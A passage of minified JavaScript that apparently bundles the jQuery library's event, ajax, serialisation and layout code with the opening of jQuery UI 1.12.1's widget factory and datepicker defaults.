            return null === A.getAttribute("value") ? "on" : A.value
        })
    });
    var he = /^(?:focusinfocus|focusoutblur)$/;
    oA.extend(oA.event, {
        trigger: function(e, t, i, r) {
            var o, n, s, a, I, l, c, B = [i || W],
                g = tA.call(e, "type") ? e.type : e,
                h = tA.call(e, "namespace") ? e.namespace.split(".") : [];
            if (n = s = i = i || W, 3 !== i.nodeType && 8 !== i.nodeType && !he.test(g + oA.event.triggered) && (g.indexOf(".") > -1 && (h = g.split("."), g = h.shift(), h.sort()), I = g.indexOf(":") < 0 && "on" + g, e = e[oA.expando] ? e : new oA.Event(g, "object" == typeof e && e), e.isTrigger = r ? 2 : 3, e.namespace = h.join("."), e.rnamespace = e.namespace ? new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, e.result = void 0, e.target || (e.target = i), t = null == t ? [e] : oA.makeArray(t, [e]), c = oA.event.special[g] || {}, r || !c.trigger || !1 !== c.trigger.apply(i, t))) {
                if (!r && !c.noBubble && !oA.isWindow(i)) {
                    for (a = c.delegateType || g, he.test(a + g) || (n = n.parentNode); n; n = n.parentNode) B.push(n), s = n;
                    s === (i.ownerDocument || W) && B.push(s.defaultView || s.parentWindow || A)
                }
                for (o = 0;
                    (n = B[o++]) && !e.isPropagationStopped();) e.type = o > 1 ? a : c.bindType || g, l = (DA.get(n, "events") || {})[e.type] && DA.get(n, "handle"), l && l.apply(n, t), (l = I && n[I]) && l.apply && CA(n) && (e.result = l.apply(n, t), !1 === e.result && e.preventDefault());
                return e.type = g, r || e.isDefaultPrevented() || c._default && !1 !== c._default.apply(B.pop(), t) || !CA(i) || I && oA.isFunction(i[g]) && !oA.isWindow(i) && (s = i[I], s && (i[I] = null), oA.event.triggered = g, i[g](), oA.event.triggered = void 0, s && (i[I] = s)), e.result
            }
        },
        simulate: function(A, e, t) {
            var i = oA.extend(new oA.Event, t, {
                type: A,
                isSimulated: !0
            });
            oA.event.trigger(i, null, e)
        }
    }), oA.fn.extend({
        trigger: function(A, e) {
            return this.each(function() {
                oA.event.trigger(A, e, this)
            })
        },
        triggerHandler: function(A, e) {
            var t = this[0];
            return t ? oA.event.trigger(A, e, t, !0) : void 0
        }
    }), oA.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "), function(A, e) {
        oA.fn[e] = function(A, t) {
            return arguments.length > 0 ? this.on(e, null, A, t) : this.trigger(e)
        }
    }), oA.fn.extend({
        hover: function(A, e) {
            return this.mouseenter(A).mouseleave(e || A)
        }
    }), iA.focusin = "onfocusin" in A, iA.focusin || oA.each({
        focus: "focusin",
        blur: "focusout"
    }, function(A, e) {
        var t = function(A) {
            oA.event.simulate(e, A.target, oA.event.fix(A))
        };
        oA.event.special[e] = {
            setup: function() {
                var i = this.ownerDocument || this,
                    r = DA.access(i, e);
                r || i.addEventListener(A, t, !0), DA.access(i, e, (r || 0) + 1)
            },
            teardown: function() {
                var i = this.ownerDocument || this,
                    r = DA.access(i, e) - 1;
                r ? DA.access(i, e, r) : (i.removeEventListener(A, t, !0), DA.remove(i, e))
            }
        }
    });
    var Ee = A.location,
        ue = oA.now(),
        Qe = /\?/;
    oA.parseJSON = function(A) {
        return JSON.parse(A + "")
    }, oA.parseXML = function(e) {
        var t;
        if (!e || "string" != typeof e) return null;
        try {
            t = (new A.DOMParser).parseFromString(e, "text/xml")
        } catch (A) {
            t = void 0
        }
        return t && !t.getElementsByTagName("parsererror").length || oA.error("Invalid XML: " + e), t
    };
    var de = /#.*$/,
        fe = /([?&])_=[^&]*/,
        Se = /^(.*?):[ \t]*([^\r\n]*)$/gm,
        we = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
        pe = /^(?:GET|HEAD)$/,
        Ce = /^\/\//,
        De = {},
        ve = {},
        me = "*/".concat("*"),
        Me = W.createElement("a");
    Me.href = Ee.href, oA.extend({
        active: 0,
        lastModified: {},
        etag: {},
        ajaxSettings: {
            url: Ee.href,
            type: "GET",
            isLocal: we.test(Ee.protocol),
            global: !0,
            processData: !0,
            async: !0,
            contentType: "application/x-www-form-urlencoded; charset=UTF-8",
            accepts: {
                "*": me,
                text: "text/plain",
                html: "text/html",
                xml: "application/xml, text/xml",
                json: "application/json, text/javascript"
            },
            contents: {
                xml: /\bxml\b/,
                html: /\bhtml/,
                json: /\bjson\b/
            },
            responseFields: {
                xml: "responseXML",
                text: "responseText",
                json: "responseJSON"
            },
            converters: {
                "* text": String,
                "text html": !0,
                "text json": oA.parseJSON,
                "text xml": oA.parseXML
            },
            flatOptions: {
                url: !0,
                context: !0
            }
        },
        ajaxSetup: function(A, e) {
            return e ? T(T(A, oA.ajaxSettings), e) : T(oA.ajaxSettings, A)
        },
        ajaxPrefilter: z(De),
        ajaxTransport: z(ve),
        ajax: function(e, t) {
            function i(e, t, i, s) {
                var I, c, d, f, w, C = t;
                2 !== S && (S = 2, a && A.clearTimeout(a), r = void 0, n = s || "", p.readyState = e > 0 ? 4 : 0, I = e >= 200 && 300 > e || 304 === e, i && (f = X(B, p, i)), f = H(B, f, p, I), I ? (B.ifModified && (w = p.getResponseHeader("Last-Modified"), w && (oA.lastModified[o] = w), (w = p.getResponseHeader("etag")) && (oA.etag[o] = w)), 204 === e || "HEAD" === B.type ? C = "nocontent" : 304 === e ? C = "notmodified" : (C = f.state, c = f.data, d = f.error, I = !d)) : (d = C, !e && C || (C = "error", 0 > e && (e = 0))), p.status = e, p.statusText = (t || C) + "", I ? E.resolveWith(g, [c, C, p]) : E.rejectWith(g, [p, C, d]), p.statusCode(Q), Q = void 0, l && h.trigger(I ? "ajaxSuccess" : "ajaxError", [p, B, I ? c : d]), u.fireWith(g, [p, C]), l && (h.trigger("ajaxComplete", [p, B]), --oA.active || oA.event.trigger("ajaxStop")))
            }
            "object" == typeof e && (t = e, e = void 0), t = t || {};
            var r, o, n, s, a, I, l, c, B = oA.ajaxSetup({}, t),
                g = B.context || B,
                h = B.context && (g.nodeType || g.jquery) ? oA(g) : oA.event,
                E = oA.Deferred(),
                u = oA.Callbacks("once memory"),
                Q = B.statusCode || {},
                d = {},
                f = {},
                S = 0,
                w = "canceled",
                p = {
                    readyState: 0,
                    getResponseHeader: function(A) {
                        var e;
                        if (2 === S) {
                            if (!s)
                                for (s = {}; e = Se.exec(n);) s[e[1].toLowerCase()] = e[2];
                            e = s[A.toLowerCase()]
                        }
                        return null == e ? null : e
                    },
                    getAllResponseHeaders: function() {
                        return 2 === S ? n : null
                    },
                    setRequestHeader: function(A, e) {
                        var t = A.toLowerCase();
                        return S || (A = f[t] = f[t] || A, d[A] = e), this
                    },
                    overrideMimeType: function(A) {
                        return S || (B.mimeType = A), this
                    },
                    statusCode: function(A) {
                        var e;
                        if (A)
                            if (2 > S)
                                for (e in A) Q[e] = [Q[e], A[e]];
                            else p.always(A[p.status]);
                        return this
                    },
                    abort: function(A) {
                        var e = A || w;
                        return r && r.abort(e), i(0, e), this
                    }
                };
            if (E.promise(p).complete = u.add, p.success = p.done, p.error = p.fail, B.url = ((e || B.url || Ee.href) + "").replace(de, "").replace(Ce, Ee.protocol + "//"), B.type = t.method || t.type || B.method || B.type, B.dataTypes = oA.trim(B.dataType || "*").toLowerCase().match(SA) || [""], null == B.crossDomain) {
                I = W.createElement("a");
                try {
                    I.href = B.url, I.href = I.href, B.crossDomain = Me.protocol + "//" + Me.host != I.protocol + "//" + I.host
                } catch (A) {
                    B.crossDomain = !0
                }
            }
            if (B.data && B.processData && "string" != typeof B.data && (B.data = oA.param(B.data, B.traditional)), G(De, B, t, p), 2 === S) return p;
            l = oA.event && B.global, l && 0 == oA.active++ && oA.event.trigger("ajaxStart"), B.type = B.type.toUpperCase(), B.hasContent = !pe.test(B.type), o = B.url, B.hasContent || (B.data && (o = B.url += (Qe.test(o) ? "&" : "?") + B.data, delete B.data), !1 === B.cache && (B.url = fe.test(o) ? o.replace(fe, "$1_=" + ue++) : o + (Qe.test(o) ? "&" : "?") + "_=" + ue++)), B.ifModified && (oA.lastModified[o] && p.setRequestHeader("If-Modified-Since", oA.lastModified[o]), oA.etag[o] && p.setRequestHeader("If-None-Match", oA.etag[o])), (B.data && B.hasContent && !1 !== B.contentType || t.contentType) && p.setRequestHeader("Content-Type", B.contentType), p.setRequestHeader("Accept", B.dataTypes[0] && B.accepts[B.dataTypes[0]] ? B.accepts[B.dataTypes[0]] + ("*" !== B.dataTypes[0] ? ", " + me + "; q=0.01" : "") : B.accepts["*"]);
            for (c in B.headers) p.setRequestHeader(c, B.headers[c]);
            if (B.beforeSend && (!1 === B.beforeSend.call(g, p, B) || 2 === S)) return p.abort();
            w = "abort";
            for (c in {
                    success: 1,
                    error: 1,
                    complete: 1
                }) p[c](B[c]);
            if (r = G(ve, B, t, p)) {
                if (p.readyState = 1, l && h.trigger("ajaxSend", [p, B]), 2 === S) return p;
                B.async && B.timeout > 0 && (a = A.setTimeout(function() {
                    p.abort("timeout")
                }, B.timeout));
                try {
                    S = 1, r.send(d, i)
                } catch (A) {
                    if (!(2 > S)) throw A;
                    i(-1, A)
                }
            } else i(-1, "No Transport");
            return p
        },
        getJSON: function(A, e, t) {
            return oA.get(A, e, t, "json")
        },
        getScript: function(A, e) {
            return oA.get(A, void 0, e, "script")
        }
    }), oA.each(["get", "post"], function(A, e) {
        oA[e] = function(A, t, i, r) {
            return oA.isFunction(t) && (r = r || i, i = t, t = void 0), oA.ajax(oA.extend({
                url: A,
                type: e,
                dataType: r,
                data: t,
                success: i
            }, oA.isPlainObject(A) && A))
        }
    }), oA._evalUrl = function(A) {
        return oA.ajax({
            url: A,
            type: "GET",
            dataType: "script",
            async: !1,
            global: !1,
            throws: !0
        })
    }, oA.fn.extend({
        wrapAll: function(A) {
            var e;
            return oA.isFunction(A) ? this.each(function(e) {
                oA(this).wrapAll(A.call(this, e))
            }) : (this[0] && (e = oA(A, this[0].ownerDocument).eq(0).clone(!0), this[0].parentNode && e.insertBefore(this[0]), e.map(function() {
                for (var A = this; A.firstElementChild;) A = A.firstElementChild;
                return A
            }).append(this)), this)
        },
        wrapInner: function(A) {
            return oA.isFunction(A) ? this.each(function(e) {
                oA(this).wrapInner(A.call(this, e))
            }) : this.each(function() {
                var e = oA(this),
                    t = e.contents();
                t.length ? t.wrapAll(A) : e.append(A)
            })
        },
        wrap: function(A) {
            var e = oA.isFunction(A);
            return this.each(function(t) {
                oA(this).wrapAll(e ? A.call(this, t) : A)
            })
        },
        unwrap: function() {
            return this.parent().each(function() {
                oA.nodeName(this, "body") || oA(this).replaceWith(this.childNodes)
            }).end()
        }
    }), oA.expr.filters.hidden = function(A) {
        return !oA.expr.filters.visible(A)
    }, oA.expr.filters.visible = function(A) {
        return A.offsetWidth > 0 || A.offsetHeight > 0 || A.getClientRects().length > 0
    };
    var Pe = /%20/g,
        ye = /\[\]$/,
        Fe = /\r?\n/g,
        Le = /^(?:submit|button|image|reset|file)$/i,
        ke = /^(?:input|select|textarea|keygen)/i;
    oA.param = function(A, e) {
        var t, i = [],
            r = function(A, e) {
                e = oA.isFunction(e) ? e() : null == e ? "" : e, i[i.length] = encodeURIComponent(A) + "=" + encodeURIComponent(e)
            };
        if (void 0 === e && (e = oA.ajaxSettings && oA.ajaxSettings.traditional), oA.isArray(A) || A.jquery && !oA.isPlainObject(A)) oA.each(A, function() {
            r(this.name, this.value)
        });
        else
            for (t in A) V(t, A[t], e, r);
        return i.join("&").replace(Pe, "+")
    }, oA.fn.extend({
        serialize: function() {
            return oA.param(this.serializeArray())
        },
        serializeArray: function() {
            return this.map(function() {
                var A = oA.prop(this, "elements");
                return A ? oA.makeArray(A) : this
            }).filter(function() {
                var A = this.type;
                return this.name && !oA(this).is(":disabled") && ke.test(this.nodeName) && !Le.test(A) && (this.checked || !kA.test(A))
            }).map(function(A, e) {
                var t = oA(this).val();
                return null == t ? null : oA.isArray(t) ? oA.map(t, function(A) {
                    return {
                        name: e.name,
                        value: A.replace(Fe, "\r\n")
                    }
                }) : {
                    name: e.name,
                    value: t.replace(Fe, "\r\n")
                }
            }).get()
        }
    }), oA.ajaxSettings.xhr = function() {
        try {
            return new A.XMLHttpRequest
        } catch (A) {}
    };
    var Je = {
            0: 200,
            1223: 204
        },
        je = oA.ajaxSettings.xhr();
    iA.cors = !!je && "withCredentials" in je, iA.ajax = je = !!je, oA.ajaxTransport(function(e) {
        var t, i;
        return iA.cors || je && !e.crossDomain ? {
            send: function(r, o) {
                var n, s = e.xhr();
                if (s.open(e.type, e.url, e.async, e.username, e.password), e.xhrFields)
                    for (n in e.xhrFields) s[n] = e.xhrFields[n];
                e.mimeType && s.overrideMimeType && s.overrideMimeType(e.mimeType), e.crossDomain || r["X-Requested-With"] || (r["X-Requested-With"] = "XMLHttpRequest");
                for (n in r) s.setRequestHeader(n, r[n]);
                t = function(A) {
                    return function() {
                        t && (t = i = s.onload = s.onerror = s.onabort = s.onreadystatechange = null, "abort" === A ? s.abort() : "error" === A ? "number" != typeof s.status ? o(0, "error") : o(s.status, s.statusText) : o(Je[s.status] || s.status, s.statusText, "text" !== (s.responseType || "text") || "string" != typeof s.responseText ? {
                            binary: s.response
                        } : {
                            text: s.responseText
                        }, s.getAllResponseHeaders()))
                    }
                }, s.onload = t(), i = s.onerror = t("error"), void 0 !== s.onabort ? s.onabort = i : s.onreadystatechange = function() {
                    4 === s.readyState && A.setTimeout(function() {
                        t && i()
                    })
                }, t = t("abort");
                try {
                    s.send(e.hasContent && e.data || null)
                } catch (A) {
                    if (t) throw A
                }
            },
            abort: function() {
                t && t()
            }
        } : void 0
    }), oA.ajaxSetup({
        accepts: {
            script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
        },
        contents: {
            script: /\b(?:java|ecma)script\b/
        },
        converters: {
            "text script": function(A) {
                return oA.globalEval(A), A
            }
        }
    }), oA.ajaxPrefilter("script", function(A) {
        void 0 === A.cache && (A.cache = !1), A.crossDomain && (A.type = "GET")
    }), oA.ajaxTransport("script", function(A) {
        if (A.crossDomain) {
            var e, t;
            return {
                send: function(i, r) {
                    e = oA("<script>").prop({
                        charset: A.scriptCharset,
                        src: A.url
                    }).on("load error", t = function(A) {
                        e.remove(), t = null, A && r("error" === A.type ? 404 : 200, A.type)
                    }), W.head.appendChild(e[0])
                },
                abort: function() {
                    t && t()
                }
            }
        }
    });
    var Ne = [],
        Ue = /(=)\?(?=&|$)|\?\?/;
    oA.ajaxSetup({
        jsonp: "callback",
        jsonpCallback: function() {
            var A = Ne.pop() || oA.expando + "_" + ue++;
            return this[A] = !0, A
        }
    }), oA.ajaxPrefilter("json jsonp", function(e, t, i) {
        var r, o, n, s = !1 !== e.jsonp && (Ue.test(e.url) ? "url" : "string" == typeof e.data && 0 === (e.contentType || "").indexOf("application/x-www-form-urlencoded") && Ue.test(e.data) && "data");
        return s || "jsonp" === e.dataTypes[0] ? (r = e.jsonpCallback = oA.isFunction(e.jsonpCallback) ? e.jsonpCallback() : e.jsonpCallback, s ? e[s] = e[s].replace(Ue, "$1" + r) : !1 !== e.jsonp && (e.url += (Qe.test(e.url) ? "&" : "?") + e.jsonp + "=" + r), e.converters["script json"] = function() {
            return n || oA.error(r + " was not called"), n[0]
        }, e.dataTypes[0] = "json", o = A[r], A[r] = function() {
            n = arguments
        }, i.always(function() {
            void 0 === o ? oA(A).removeProp(r) : A[r] = o, e[r] && (e.jsonpCallback = t.jsonpCallback, Ne.push(r)), n && oA.isFunction(o) && o(n[0]), n = o = void 0
        }), "script") : void 0
    }), oA.parseHTML = function(A, e, t) {
        if (!A || "string" != typeof A) return null;
        "boolean" == typeof e && (t = e, e = !1), e = e || W;
        var i = hA.exec(A),
            r = !t && [];
        return i ? [e.createElement(i[1])] : (i = B([A], e, r), r && r.length && oA(r).remove(), oA.merge([], i.childNodes))
    };
    var be = oA.fn.load;
    oA.fn.load = function(A, e, t) {
        if ("string" != typeof A && be) return be.apply(this, arguments);
        var i, r, o, n = this,
            s = A.indexOf(" ");
        return s > -1 && (i = oA.trim(A.slice(s)), A = A.slice(0, s)), oA.isFunction(e) ? (t = e, e = void 0) : e && "object" == typeof e && (r = "POST"), n.length > 0 && oA.ajax({
            url: A,
            type: r || "GET",
            dataType: "html",
            data: e
        }).done(function(A) {
            o = arguments, n.html(i ? oA("<div>").append(oA.parseHTML(A)).find(i) : A)
        }).always(t && function(A, e) {
            n.each(function() {
                t.apply(this, o || [A.responseText, e, A])
            })
        }), this
    }, oA.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(A, e) {
        oA.fn[e] = function(A) {
            return this.on(e, A)
        }
    }), oA.expr.filters.animated = function(A) {
        return oA.grep(oA.timers, function(e) {
            return A === e.elem
        }).length
    }, oA.offset = {
        setOffset: function(A, e, t) {
            var i, r, o, n, s, a, I, l = oA.css(A, "position"),
                c = oA(A),
                B = {};
            "static" === l && (A.style.position = "relative"), s = c.offset(), o = oA.css(A, "top"), a = oA.css(A, "left"), I = ("absolute" === l || "fixed" === l) && (o + a).indexOf("auto") > -1, I ? (i = c.position(), n = i.top, r = i.left) : (n = parseFloat(o) || 0, r = parseFloat(a) || 0), oA.isFunction(e) && (e = e.call(A, t, oA.extend({}, s))), null != e.top && (B.top = e.top - s.top + n), null != e.left && (B.left = e.left - s.left + r), "using" in e ? e.using.call(A, B) : c.css(B)
        }
    }, oA.fn.extend({
        offset: function(A) {
            if (arguments.length) return void 0 === A ? this : this.each(function(e) {
                oA.offset.setOffset(this, A, e)
            });
            var e, t, i = this[0],
                r = {
                    top: 0,
                    left: 0
                },
                o = i && i.ownerDocument;
            return o ? (e = o.documentElement, oA.contains(e, i) ? (r = i.getBoundingClientRect(), t = O(o), {
                top: r.top + t.pageYOffset - e.clientTop,
                left: r.left + t.pageXOffset - e.clientLeft
            }) : r) : void 0
        },
        position: function() {
            if (this[0]) {
                var A, e, t = this[0],
                    i = {
                        top: 0,
                        left: 0
                    };
                return "fixed" === oA.css(t, "position") ? e = t.getBoundingClientRect() : (A = this.offsetParent(), e = this.offset(), oA.nodeName(A[0], "html") || (i = A.offset()), i.top += oA.css(A[0], "borderTopWidth", !0), i.left += oA.css(A[0], "borderLeftWidth", !0)), {
                    top: e.top - i.top - oA.css(t, "marginTop", !0),
                    left: e.left - i.left - oA.css(t, "marginLeft", !0)
                }
            }
        },
        offsetParent: function() {
            return this.map(function() {
                for (var A = this.offsetParent; A && "static" === oA.css(A, "position");) A = A.offsetParent;
                return A || _A
            })
        }
    }), oA.each({
        scrollLeft: "pageXOffset",
        scrollTop: "pageYOffset"
    }, function(A, e) {
        var t = "pageYOffset" === e;
        oA.fn[A] = function(i) {
            return pA(this, function(A, i, r) {
                var o = O(A);
                return void 0 === r ? o ? o[e] : A[i] : void(o ? o.scrollTo(t ? o.pageXOffset : r, t ? r : o.pageYOffset) : A[i] = r)
            }, A, i, arguments.length)
        }
    }), oA.each(["top", "left"], function(A, e) {
        oA.cssHooks[e] = M(iA.pixelPosition, function(A, t) {
            return t ? (t = m(A, e), ZA.test(t) ? oA(A).position()[e] + "px" : t) : void 0
        })
    }), oA.each({
        Height: "height",
        Width: "width"
    }, function(A, e) {
        oA.each({
            padding: "inner" + A,
            content: e,
            "": "outer" + A
        }, function(t, i) {
            oA.fn[i] = function(i, r) {
                var o = arguments.length && (t || "boolean" != typeof i),
                    n = t || (!0 === i || !0 === r ? "margin" : "border");
                return pA(this, function(e, t, i) {
                    var r;
                    return oA.isWindow(e) ? e.document.documentElement["client" + A] : 9 === e.nodeType ? (r = e.documentElement, Math.max(e.body["scroll" + A], r["scroll" + A], e.body["offset" + A], r["offset" + A], r["client" + A])) : void 0 === i ? oA.css(e, t, n) : oA.style(e, t, i, n)
                }, e, o ? i : void 0, o, null)
            }
        })
    }), oA.fn.extend({
        bind: function(A, e, t) {
            return this.on(A, null, e, t)
        },
        unbind: function(A, e) {
            return this.off(A, null, e)
        },
        delegate: function(A, e, t, i) {
            return this.on(e, A, t, i)
        },
        undelegate: function(A, e, t) {
            return 1 === arguments.length ? this.off(A, "**") : this.off(e, A || "**", t)
        },
        size: function() {
            return this.length
        }
    }), oA.fn.andSelf = oA.fn.addBack, "function" == typeof define && define.amd && define("jquery", [], function() {
        return oA
    });
    var Re = A.jQuery,
        Ye = A.$;
    return oA.noConflict = function(e) {
        return A.$ === oA && (A.$ = Ye), e && A.jQuery === oA && (A.jQuery = Re), oA
    }, e || (A.jQuery = A.$ = oA), oA
}),
function(A) {
    "function" == typeof define && define.amd ? define(["jquery"], A) : A(jQuery)
}(function(A) {
    function e(A) {
        for (var e = A.css("visibility");
            "inherit" === e;) A = A.parent(), e = A.css("visibility");
        return "hidden" !== e
    }

    function t(A) {
        for (var e, t; A.length && A[0] !== document;) {
            if (("absolute" === (e = A.css("position")) || "relative" === e || "fixed" === e) && (t = parseInt(A.css("zIndex"), 10), !isNaN(t) && 0 !== t)) return t;
            A = A.parent()
        }
        return 0
    }

    function i() {
        this._curInst = null, this._keyEvent = !1, this._disabledInputs = [], this._datepickerShowing = !1, this._inDialog = !1, this._mainDivId = "ui-datepicker-div", this._inlineClass = "ui-datepicker-inline", this._appendClass = "ui-datepicker-append", this._triggerClass = "ui-datepicker-trigger", this._dialogClass = "ui-datepicker-dialog", this._disableClass = "ui-datepicker-disabled", this._unselectableClass = "ui-datepicker-unselectable", this._currentClass = "ui-datepicker-current-day", this._dayOverClass = "ui-datepicker-days-cell-over", this.regional = [], this.regional[""] = {
            closeText: "Done",
            prevText: "Prev",
            nextText: "Next",
            currentText: "Today",
            monthNames: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"],
            monthNamesShort: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
            dayNames: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"],
            dayNamesShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
            dayNamesMin: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
            weekHeader: "Wk",
            dateFormat: "mm/dd/yy",
            firstDay: 0,
            isRTL: !1,
            showMonthAfterYear: !1,
            yearSuffix: ""
        }, this._defaults = {
            showOn: "focus",
            showAnim: "fadeIn",
            showOptions: {},
            defaultDate: null,
            appendText: "",
            buttonText: "...",
            buttonImage: "",
            buttonImageOnly: !1,
            hideIfNoPrevNext: !1,
            navigationAsDateFormat: !1,
            gotoCurrent: !1,
            changeMonth: !1,
            changeYear: !1,
            yearRange: "c-10:c+10",
            showOtherMonths: !1,
            selectOtherMonths: !1,
            showWeek: !1,
            calculateWeek: this.iso8601Week,
            shortYearCutoff: "+10",
            minDate: null,
            maxDate: null,
            duration: "fast",
            beforeShowDay: null,
            beforeShow: null,
            onSelect: null,
            onChangeMonthYear: null,
            onClose: null,
            numberOfMonths: 1,
            showCurrentAtPos: 0,
            stepMonths: 1,
            stepBigMonths: 12,
            altField: "",
            altFormat: "",
            constrainInput: !0,
            showButtonPanel: !1,
            autoSize: !1,
            disabled: !1
        }, A.extend(this._defaults, this.regional[""]), this.regional.en = A.extend(!0, {}, this.regional[""]), this.regional["en-US"] = A.extend(!0, {}, this.regional.en), this.dpDiv = r(A("<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))
    }

    function r(e) {
        var t = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
        return e.on("mouseout", t, function() {
            A(this).removeClass("ui-state-hover"), -1 !== this.className.indexOf("ui-datepicker-prev") && A(this).removeClass("ui-datepicker-prev-hover"), -1 !== this.className.indexOf("ui-datepicker-next") && A(this).removeClass("ui-datepicker-next-hover")
        }).on("mouseover", t, o)
    }

    function o() {
        A.datepicker._isDisabledDatepicker(g.inline ? g.dpDiv.parent()[0] : g.input[0]) || (A(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"), A(this).addClass("ui-state-hover"), -1 !== this.className.indexOf("ui-datepicker-prev") && A(this).addClass("ui-datepicker-prev-hover"), -1 !== this.className.indexOf("ui-datepicker-next") && A(this).addClass("ui-datepicker-next-hover"))
    }

    function n(e, t) {
        A.extend(e, t);
        for (var i in t) null == t[i] && (e[i] = t[i]);
        return e
    }

    function s(A) {
        return function() {
            var e = this.element.val();
            A.apply(this, arguments), this._refresh(), e !== this.element.val() && this._trigger("change")
        }
    }
    A.ui = A.ui || {}, A.ui.version = "1.12.1";
    var a = 0,
        I = Array.prototype.slice;
    A.cleanData = function(e) {
            return function(t) {
                var i, r, o;
                for (o = 0; null != (r = t[o]); o++) try {
                    (i = A._data(r, "events")) && i.remove && A(r).triggerHandler("remove")
                } catch (A) {}
                e(t)
            }
        }(A.cleanData), A.widget = function(e, t, i) {
            var r, o, n, s = {},
                a = e.split(".")[0];
            e = e.split(".")[1];
            var I = a + "-" + e;
            return i || (i = t, t = A.Widget), A.isArray(i) && (i = A.extend.apply(null, [{}].concat(i))), A.expr[":"][I.toLowerCase()] = function(e) {
                return !!A.data(e, I)
            }, A[a] = A[a] || {}, r = A[a][e], o = A[a][e] = function(A, e) {
                return this._createWidget ? void(arguments.length && this._createWidget(A, e)) : new o(A, e)
            }, A.extend(o, r, {
                version: i.version,
                _proto: A.extend({}, i),
                _childConstructors: []
            }), n = new t, n.options = A.widget.extend({}, n.options), A.each(i, function(e, i) {
                return A.isFunction(i) ? void(s[e] = function() {
                    function A() {
                        return t.prototype[e].apply(this, arguments)
                    }

                    function r(A) {
                        return t.prototype[e].apply(this, A)
                    }
                    return function() {
                        var e, t = this._super,
                            o = this._superApply;
                        return this._super = A, this._superApply = r, e = i.apply(this, arguments), this._super = t, this._superApply = o, e
                    }
                }()) : void(s[e] = i)
            }), o.prototype = A.widget.extend(n, {
                widgetEventPrefix: r ? n.widgetEventPrefix || e : e
            }, s, {
                constructor: o,
                namespace: a,
                widgetName: e,
                widgetFullName: I
            }), r ? (A.each(r._childConstructors, function(e, t) {
                var i = t.prototype;
                A.widget(i.namespace + "." + i.widgetName, o, t._proto)
            }), delete r._childConstructors) : t._childConstructors.push(o), A.widget.bridge(e, o), o
        }, A.widget.extend = function(e) {
            for (var t, i, r = I.call(arguments, 1), o = 0, n = r.length; n > o; o++)
                for (t in r[o]) i = r[o][t], r[o].hasOwnProperty(t) && void 0 !== i && (e[t] = A.isPlainObject(i) ? A.isPlainObject(e[t]) ? A.widget.extend({}, e[t], i) : A.widget.extend({}, i) : i);
            return e
        }, A.widget.bridge = function(e, t) {
            var i = t.prototype.widgetFullName || e;
            A.fn[e] = function(r) {
                var o = "string" == typeof r,
                    n = I.call(arguments, 1),
                    s = this;
                return o ? this.length || "instance" !== r ? this.each(function() {
                    var t, o = A.data(this, i);
                    return "instance" === r ? (s = o, !1) : o ? A.isFunction(o[r]) && "_" !== r.charAt(0) ? (t = o[r].apply(o, n), t !== o && void 0 !== t ? (s = t && t.jquery ? s.pushStack(t.get()) : t, !1) : void 0) : A.error("no such method '" + r + "' for " + e + " widget instance") : A.error("cannot call methods on " + e + " prior to initialization; attempted to call method '" + r + "'")
                }) : s = void 0 : (n.length && (r = A.widget.extend.apply(null, [r].concat(n))), this.each(function() {
                    var e = A.data(this, i);
                    e ? (e.option(r || {}), e._init && e._init()) : A.data(this, i, new t(r, this))
                })), s
            }
        }, A.Widget = function() {}, A.Widget._childConstructors = [], A.Widget.prototype = {
            widgetName: "widget",
            widgetEventPrefix: "",
            defaultElement: "<div>",
            options: {
                classes: {},
                disabled: !1,
                create: null
            },
            _createWidget: function(e, t) {
                t = A(t || this.defaultElement || this)[0], this.element = A(t), this.uuid = a++, this.eventNamespace = "." + this.widgetName + this.uuid, this.bindings = A(), this.hoverable = A(), this.focusable = A(), this.classesElementLookup = {}, t !== this && (A.data(t, this.widgetFullName, this), this._on(!0, this.element, {
                    remove: function(A) {
                        A.target === t && this.destroy()
                    }
                }), this.document = A(t.style ? t.ownerDocument : t.document || t), this.window = A(this.document[0].defaultView || this.document[0].parentWindow)), this.options = A.widget.extend({}, this.options, this._getCreateOptions(), e), this._create(), this.options.disabled && this._setOptionDisabled(this.options.disabled), this._trigger("create", null, this._getCreateEventData()), this._init()
            },
            _getCreateOptions: function() {
                return {}
            },
            _getCreateEventData: A.noop,
            _create: A.noop,
            _init: A.noop,
            destroy: function() {
                var e = this;
                this._destroy(), A.each(this.classesElementLookup, function(A, t) {
                    e._removeClass(t, A)
                }), this.element.off(this.eventNamespace).removeData(this.widgetFullName), this.widget().off(this.eventNamespace).removeAttr("aria-disabled"), this.bindings.off(this.eventNamespace)
            },
            _destroy: A.noop,
            widget: function() {
                return this.element
            },
            option: function(e, t) {
                var i, r, o, n = e;
                if (0 === arguments.length) return A.widget.extend({}, this.options);
                if ("string" == typeof e)
                    if (n = {}, i = e.split("."), e = i.shift(), i.length) {
                        for (r = n[e] = A.widget.extend({}, this.options[e]), o = 0; i.length - 1 > o; o++) r[i[o]] = r[i[o]] || {}, r = r[i[o]];
                        if (e = i.pop(), 1 === arguments.length) return void 0 === r[e] ? null : r[e];
                        r[e] = t
                    } else {
                        if (1 === arguments.length) return void 0 === this.options[e] ? null : this.options[e];
                        n[e] = t
                    }
                return this._setOptions(n), this
            },
            _setOptions: function(A) {
                var e;
                for (e in A) this._setOption(e, A[e]);
                return this
            },
            _setOption: function(A, e) {
                return "classes" === A && this._setOptionClasses(e), this.options[A] = e, "disabled" === A && this._setOptionDisabled(e), this
            },
            _setOptionClasses: function(e) {
                var t, i, r;
